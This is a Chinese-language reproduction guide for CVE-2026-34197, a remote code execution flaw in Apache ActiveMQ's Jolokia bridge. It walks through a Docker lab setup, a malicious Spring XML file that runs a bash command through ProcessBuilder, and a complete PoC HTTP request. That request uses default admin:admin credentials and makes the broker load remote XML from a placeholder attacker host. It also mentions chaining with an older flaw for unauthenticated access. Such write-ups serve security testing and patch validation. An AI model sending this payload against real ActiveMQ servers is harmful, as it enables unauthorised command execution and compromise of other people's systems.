漏洞概述属性值CVE IDCVE-2026-34197漏洞类型远程代码执行RCE影响组件Apache ActiveMQ Jolokia JMX-HTTP 桥接简介CVE-2026-34197 是 Apache ActiveMQ 5.19.4 版本之前以及 6.0.0 至 6.2.3 版本之前存在的一个远程代码执行漏洞。漏洞原理Jolokia JMX-HTTP 桥接暴露了 ActiveMQ 自身 MBeans 上的操作其中包括Broker MBean上的addNetworkConnector(String)方法。经过认证的攻击者可以调用该操作传入一个精心构造的vm://传输 URI其中包含指向攻击者控制的 Spring XML 配置文件的brokerConfig参数。当 ActiveMQ 处理该 URI 时会获取并解析远程 XML 配置从而触发 Spring Bean 实例化并执行任意代码。漏洞利用链认证访问 Jolokia API → 调用 addNetworkConnector 操作 → 构造恶意 vm:// URI ↓ 包含 brokerConfig 参数指向恶意 Spring XML → ActiveMQ 获取并解析远程 XML ↓ Spring Bean 实例化 → 触发 ProcessBuilder start() 方法 → 执行任意系统命令组合利用该漏洞可以与以下漏洞组合利用关联漏洞影响版本利用方式CVE-2024-32114ActiveMQ 6.0.0 ~ 6.1.1Jolokia 未授权访问可实现未授权 RCE默认凭据部分版本使用默认账密admin:admin进行认证影响版本分支影响版本范围5.x 5.19.46.x6.0.0 ~ 6.2.3建议升级到 5.19.4 或 6.2.4 及以上版本环境搭建Docker Compose 配置# docker-compose.ymlservices:activemq:image:vulhub/activemq:6.2.2ports:-61616:61616# ActiveMQ 消息端口-8161:8161# Web 管理界面-5005:5005# 调试端口启动环境# 启动 Docker 环境dockercompose up-d# 访问 Web 管理界面# 地址http://localhost:8161# 默认账密admin / admin漏洞复现说明本文档搭建的环境为 6.2.2 版本并非 CVE-2024-32114 漏洞版本所以直接使用默认账密admin:admin登录。步骤 1托管恶意 Spring XML 配置文件在攻击机上启动 HTTP 服务器用于托管恶意 Spring XML 配置文件。以下示例会在目标服务器上执行id /tmp/success命令?xml version1.0 encodingUTF-8?beansxmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdbeanidexecclassjava.lang.ProcessBuilderinit-methodstartconstructor-arglistvaluebash/valuevalue-c/valuevalue![CDATA[id /tmp/success]]/value/list/constructor-arg/bean/beans步骤 2发送 PoC 请求使用默认凭据发送 PoC 请求到 Jolokia API调用Broker MBean上的addNetworkConnector操作POST /api/jolokia/ HTTP/1.1 Host: your-ip:8161 Content-Type: application/json Authorization: Basic YWRtaW46YWRtaW4 { type:exec, mbean:org.apache.activemq:typeBroker,brokerNamelocalhost, operation:addNetworkConnector(java.lang.String), arguments:[static:(vm://evil?brokerConfigxbean:http://evil-ip/poc.xml)] }参数说明参数说明your-ip目标 ActiveMQ 服务器地址evil-ip攻击者 HTTP 服务器地址验证命令执行结果# 查看 Docker 容器名称dockerps# 在容器内执行命令验证dockerexec-itcontainer_namecommand# 示例检查命令是否成功执行dockerexec-itcontainer_namecat/tmp/success步骤 3理解漏洞触发机制当 ActiveMQ 处理该网络连接器时尝试连接到vm://evil代理由于名为 “evil” 的代理不存在使用brokerConfig参数创建它xbean:前缀告诉 ActiveMQ 使用 Spring 的ResourceXmlApplicationContext加载配置该机制支持 HTTP URL可获取远程 XMLSpring 解析远程 XML 并实例化所有定义的 BeanProcessBuilder Bean的start()初始化方法执行操作系统命令附录常用管理操作查询 Broker 名称{type:search,mbean:org.apache.activemq:typeBroker,*}删除网络连接器NC当 NC 端口被占用时需要先删除原有 NC{type:exec,mbean:org.apache.activemq:typeBroker,brokerNamelocalhost,operation:removeNetworkConnector(java.lang.String),arguments:[NC名称]}参考资料Apache ActiveMQ Security AdvisoriesJolokia DocumentationSpring Framework XML Configuration